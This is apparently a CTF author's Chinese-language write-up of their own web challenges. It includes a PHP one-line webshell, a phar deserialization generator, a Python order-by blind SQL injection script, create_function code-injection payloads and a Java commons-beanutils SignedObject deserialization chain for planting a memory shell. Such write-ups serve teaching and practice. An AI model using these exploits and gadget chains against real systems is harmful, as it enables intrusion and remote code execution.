记录一下自己出的题
rm -rf *
Linux下rm -rf *
不会删除隐藏文件,所以写入隐藏文件.1.php
就可以了
所以直接写马,由于知道flag在根目录下,直接执行命令也行,接着访问http://example.com/.1.php
就行了
<?php system("cat /flag");?>
sql-ser
sql注入加phar反序列化
有一个读取文件的路由,读完之后发现是个反序列化题,但是没有unserialize
,有上传图片功能.(看到这里大概就知道是个phar反序列化了)
读取文件路由的file_get_contents
限制了html
目录,再加上严格的过滤,是不可能直接读取/flag,或者phar://
协议读取文件的.
另外几个可以触发的点在upload.php
里的file_exists
,imgstatic.php
里的md5_file
,上传文件的文件名是有过滤的,也不能phar://
那么利用点就在md5_file
,访问403,但是被include,倒是问题不大,过滤也不严格,直接phar://phar.jpg
就可以读取
所以思路是:
sql注入获得admin密码获得admin身份=>
构造恶意的phar文件并上传=>
phar://phar.jpg=>getshell
然后链子很简单,但是有个小技巧,利用内置类Exception,同时修改hex数据里的数组指针,置空触发gc提前回收
注意一下php配置里是否开启了phar文件的生成
<?php
class Spirit {
public $webdog;
public $dogweb;
public $webweb;
public function something(){
echo "出题人讨厌php反序列化,所以他不打算让你构造复杂的链子";
}
function __wakeup(){
$webweb ="I_DONT_KNOW_HOW_TO_BYPASS_WAKEUP";
}
}
class Flag{
public $cmd;
public $spirit;
public function WAF(){
echo "出题人讨厌WAF,所以他不打算给你WAF";
}
function __construct($cmd){
$this->cmd = $cmd;
}
// function __destruct(){
// if( ($this->spirit->webdog != $this->spirit->dogweb)&&(md5($this->spirit->webdog) === md5($this->spirit->dogweb)) && (sha1($this->spirit->webdog) === sha1($this->spirit->dogweb))){
// system($this->cmd);
// }
// }
}
$a[] = new Flag('cat /flag');
$a[] = 1;
$a[0]->spirit = new Spirit();
$a[0]->spirit->webdog = new Exception("a",1);$a[0]->spirit->dogweb = new Exception("a");
//这里要在同一行,大家可以自行试试
var_dump($a);
echo serialize($a);
$phar= new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php__HALT_COMPILER();?'>");//添加图片头,有检测
$phar->setMetadata($a);//将自定义meat-data存入manifest
$phar->addFromString("test.txt","111");//添加要压缩的文件,这里随意了
$phar->stopBuffering();
?>
from hashlib import sha256
with open("/Users/dionysus/CTF/phar.phar",'rb') as f:
text=f.read();
main=text[:-28] #正文部分(除去最后28字节)
end=text[-8:]
new_sign=sha256(main).digest()
new_phar=main+new_sign+end
open("/Users/dionysus/CTF/phar.phar",'wb').write(new_phar) #将新生成的内容以二进制方式覆盖写入原来的phar文件
最后修复签名,修改后缀上传
getshell的逻辑部分讲完了,现在来讲讲前置sql注入,需要sql注入之后才能通过admin身份上传恶意的文件
import requests
import string
s=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
#其实只有小写字母和数字
url="http://127.0.0.1:9999/login.php"
k=""
for i in range(1,50):
#print(i)
for j in s:
data={
'username1':"' or 1 union select 1,2,'{0}' order by 3#".format(k+j),
'pwd1':'1'
}
r=requests.post(url,data=data)
#print(r.text)
#print(data['username'])
if("admin" in r.text):
k=k+chr(ord(j)-1)
print(k)
break
就是个order by盲注 要注意的是不要创建账号,因为邪恶的出题人设置了某个密码zxxxxx,注册的密码如果在z之前,那么就永远不能靠order by盲注来得到密码了
hidden
php <= 7.4.21 源码泄露漏洞
就是php -S
启动的服务,存在源码泄露问题
1.js
那个位置,随便写啦,但是不能是真实存在的文件,比如服务器上真的有的index.php
把自动补齐长度给关了,发包后得到源码
create_function('$name','echo "dionysus"');
function f($name) {
echo "dionysus";
}
在a处注入 ){}system("ls");/*
然后对他进行对应的编码post传数据就是了
如果是在b处注入的话就是}system("ls");/*
cb_java
signedobject打二次反序列化,由于不出网吗,需要反序列化注入内存马
前面的随机数预测什么的就不说了,直接到反序列化部分
首先是禁用类,cc依赖的都被ban了,TemplatesImpl
也被ban,resolveClass
通过 URLClassLoader.loadClass 进行加载类,这种类加载方式不支持加载数组,那么就打二次反序列化=>here
反正也没什么人看( 直接把答案贴了
package zip.dionysus;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Arrays;
import java.util.Base64;
import java.util.PriorityQueue;
public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static PriorityQueue<Object> getpayload(Object object, String string) throws Exception {
BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add("1");
priorityQueue.add("2");
setFieldValue(beanComparator, "property", string);
setFieldValue(priorityQueue, "queue", new Object[]{object, null});
return priorityQueue;
}
public static Object getpayload2() throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
return queue;
}
@org.junit.jupiter.api.Test
public void test1() throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
PriorityQueue queue1 = getpayload(obj, "outputProperties");
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));
PriorityQueue queue2 = getpayload(signedObject, "object");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
//按顺序写入
outputStream.writeUTF("I_LIJd_NANAMI");
outputStream.writeInt(2023);
outputStream.writeObject(queue2);
outputStream.flush();
String codes = URLEncoder.encode(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()),"UTF-8");
System.out.println(codes);
String hexcodes =bytesTohexString(byteArrayOutputStream.toByteArray());
System.out.println(hexcodes);
}
@org.junit.jupiter.api.Test
public void test2()throws Exception{
byte[] bytes = ClassPool.getDefault().get(EvilController.class.getName()).toBytecode();
System.out.println(Arrays.toString(bytes).replace('[', '{').replace(']', '}'));
}
public static String bytesTohexString(byte[] bytes) {
if (bytes == null)
return null;
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 0xF & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 0xF & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
}
内存马部分自己塞一份吧
最后getshell,flag在环境变量里